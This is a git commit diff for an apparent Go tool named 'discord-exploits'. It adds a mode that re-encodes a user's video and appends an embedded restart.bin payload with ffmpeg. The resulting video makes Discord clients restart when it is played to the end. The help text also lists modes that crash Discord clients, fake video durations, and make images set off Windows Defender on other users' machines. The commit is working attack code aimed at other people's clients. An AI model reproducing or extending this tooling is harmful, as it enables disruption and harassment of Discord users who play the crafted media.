Added mode to create restart video

This commit is contained in:
vysion 2021-05-19 00:29:16 -07:00
parent a80ae2c956
commit f5f7106c02
3 changed files with 60 additions and 1 deletions

View file

@ -5,8 +5,8 @@ import (
"github.com/Schmenn/discord-exploits/exploits"
"github.com/Schmenn/discord-exploits/modules"
"os"
"strings"
"path/filepath"
"strings"
)
var (
@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
fmt.Println("completed task.")
os.Remove(out)
case "r":
fmt.Println("transcoding video from webm to mp4")
out := modules.Transcode(inputFile, "mp4")
fmt.Println("finished transcoding video from webm to mp4")
fmt.Println("editing video.")
exploits.RunRestartVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
default:
fmt.Println("the mode doesn't match the file")
}
@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
exploits.RunCrashVideoTask(inputFile)
fmt.Println("completed task.")
case "r":
fmt.Println("editing video.")
exploits.RunRestartVideoTask(inputFile)
fmt.Println("completed task.")
default:
fmt.Println("the mode doesn't match the file")
}

View file

@ -1 +1,45 @@
package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"time"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed restart.bin
var restartBin []byte
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
func RunRestartVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
// prevent duplicate id
time.Sleep(time.Millisecond * 1)
reencode := modules.CreateName("mp4")
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
err := cmd.Run()
modules.Check(err)
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, restartBin, 0777)
modules.Check(err)
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
err = os.Remove(reencode)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}

View file

@ -19,6 +19,7 @@ func Help(progName string) {
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
fmt.Println(" image:")
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
fmt.Println(" audio:")